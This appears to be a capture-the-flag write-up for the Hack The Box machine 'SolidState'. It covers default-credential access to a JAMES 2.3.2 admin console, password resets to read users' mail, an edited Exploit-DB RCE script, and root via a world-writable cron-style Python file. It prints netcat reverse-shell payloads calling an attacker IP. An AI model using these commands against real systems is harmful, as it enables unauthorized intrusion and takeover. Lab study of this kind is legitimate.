Link : https://app.hackthebox.com/machines/Solidstate

Difficulty : Medium

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✅ RustScan

sudo rustscan -a solidstate.htb --ulimit 5000

PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
25/tcp   open  smtp    syn-ack ttl 63
80/tcp   open  http    syn-ack ttl 63
110/tcp  open  pop3    syn-ack ttl 63
119/tcp  open  nntp    syn-ack ttl 63
4555/tcp open  rsip    syn-ack ttl 63

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✅ Nmap Scan on port 4555

RSIP is an alternative to NAT and maintains the end to end packets integrity. To get more detail on this port we used options :

-sCV : Default & Version script
-vv : Increase verbosity level
-oA : Output in the three major formats at once
-p : Specify port to target

Scan Found an service : JAMES Remote Administration Tool

sudo nmap -sCV -vv -p 4555 solidstate.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-24 06:42 EDT

PORT     STATE SERVICE     VERSION
4555/tcp open  James admin JAMES Remote Admin 2.3.2

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✅ Enumeration

James is an open source SMTP, POP 3 and Network News Transfert Protocol (nntp) written in java.

NETCAT

We logged in with credentials root/root :

nc solidstate.htb 4555                                                                         1 ⨯

JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands

Help command displayed setpassword option.

HELP
Currently implemented commands:
help                                    display this help
listusers                               display existing accounts
countusers                              display the number of existing accounts
adduser [username] [password]           add a new user
verify [username]                       verify if specified user exist
deluser [username]                      delete existing user

setpassword [username] [password]       sets a user's password

setalias [user] [alias]                 locally forwards all email for 'user' to 'alias'
showalias [username]                    shows a user's current email alias
unsetalias [user]                       unsets an alias for 'user'
setforwarding [username] [emailaddress] forwards a user's email to another email address
showforwarding [username]               shows a user's current email forwarding
unsetforwarding [username]              removes a forward
user [repositoryname]                   change to another user repository
shutdown                                kills the current JVM (convenient when James is run as a daemon

To reset password, we need usernames :

listusers
Existing accounts 5
user: james
user: thomas
user: john
user: mindy
user: mailadmin

Let's reset james password :

setpassword james james
Password for james reset

Since JAMES runs an Mail service, we'll try to log in to the mailbox with Thunderbird with user james :

With user james we couldn't log in so i tried user mindy

Changed the credentials on the JAMES tool :

setpassword mindy mindy
Password for mindy reset

Let's try to log in to mindy's mailbox :

we are in :

We have an email from james : This mail contains SSH credentials for mindy's session user: mindy pass : P@55W0rd1!2@

Before logging in mindy's SSH session let's start by getting an reverse shell.

✅ Exploitation

SEARCHSPLOIT

we can try to get the exploit by using searhcsploit:

searchsploit JAMES 2.3.2 
--------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                       |  Path
--------------------------------------------------------------------- ---------------------------------
Apache James Server 2.3.2 - Insecure User Creation Arbitrary File Wr | linux/remote/48130.rb
Apache James Server 2.3.2 - Remote Command Execution                 | linux/remote/35513.py
Apache James Server 2.3.2 - Remote Command Execution (RCE) (Authenti | linux/remote/50347.py
--------------------------------------------------------------------- ---------------------------------

Let's copy the Remote Command Execution (RCE) exploit to our working directory :

searchsploit -m 35513.py

  Exploit: Apache James Server 2.3.2 - Remote Command Execution
      URL: https://www.exploit-db.com/exploits/35513
     Path: /usr/share/exploitdb/exploits/linux/remote/35513.py
File Type: Python script, ASCII text executable

Copied to: /home/kali/HackTheBox/Retired/SolidState/35513.py

Having a look at the exploit, we'll need to edit it to get an reverse shell when someone will connect to JAMES Admin tool :

#payload = 'touch /tmp/proof.txt' # to exploit on any user
payload = 'nc -e /bin/bash 10.10.16.6 1234' # to exploit only on root

Exploit is ready, let's start nc listener on port 1234 and fire up the code :

python 35513.py solidstate.htb
[+]Connecting to James Remote Administration Tool...
[+]Creating user...
[+]Connecting to James SMTP server...
[+]Sending payload...
[+]Done! Payload will be executed once somebody logs in.

To execute the payload, let's SSH mindy's session :

ssh mindy@solidstate.htb      
The authenticity of host 'solidstate.htb (10.10.10.51)' can't be established.
ED25519 key fingerprint is SHA256:rC5LxqIPhybBFae7BXE/MWyG4ylXjaZJn6z2/1+GmJg.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:7: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'solidstate.htb' (ED25519) to the list of known hosts.
mindy@solidstate.htb's password: 
Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the

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✅ Reverse shell

Payload executed successfully :

nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.51] 51250
id
uid=1001(mindy) gid=1001(mindy) groups=1001(mindy)

Upgrade shell :

python -c ‘import pty; pty.spawn(“bash”)’

Here is our user flag :

pwd 
/home/mindy
ls
bin
user.txt
cat user.txt
0510e71c2...

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✅ Privilege Escalation

We can see that the shell we have is limited. To get root shell, we'll use LinEnum.

LinEnum.sh is a bash script that runs common commands related to privesc.

Let's upload this script to our target using an python server :

python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...

Pull this file back on our target using wget :

${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ wget http://10.10.16.6/linenum.sh
enum.shtp://10.10.16.6/line
--2022-03-24 08:25:39--  http://10.10.16.6/linenum.sh
Connecting to 10.10.16.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/x-sh]
Saving to: ‘linenum.sh.1’

linenum.sh.1        100%[===================>]  45.54K  --.-KB/s    in 0.06s   

2022-03-24 08:25:39 (783 KB/s) - ‘linenum.sh.1’ saved [46631/46631]

Once the bash script executed i found this line :

mindy     4848  0.0  0.0   4736   804 pts/1    S+   08:33   0:00 grep /opt/tmp.py

i looked fot the /tmp.py and found out that it can be written by every one and executed only by root :

${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ ls -la tmp.py
ls -la tmp.py
-rwxrwxrwx 1 root root 105 Aug 22  2017 tmp.py

let's echo an nc shell in tmp.py :

${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ ls
ls
james-2.3.2  tmp.py
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ echo "os.system ('nc -e /bin/bash 10.10.16.6 4545')" >> tmp.py
 /bin/bash 10.10.16.6 4545')" >> tmp.py
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ tail tmp.py
tail tmp.py
#!/usr/bin/env python
import os
import sys
try:
     os.system('rm -r /tmp/* ')
except:
     sys.exit()

os.system ('nc -e /bin/bash 10.10.16.6 4545')

Once done we just need to start an nc listener and wait to get an response :

nc -lvnp 4545
listening on [any] 4545 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.51] 43234
id
uid=0(root) gid=0(root) groups=0(root)

We are root :

ls
root.txt
cat root.txt    
4f4afb554...

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🕵🏼Author : https://linkedin/vishal-desai

➡️Pentester at : https://pegasy.co/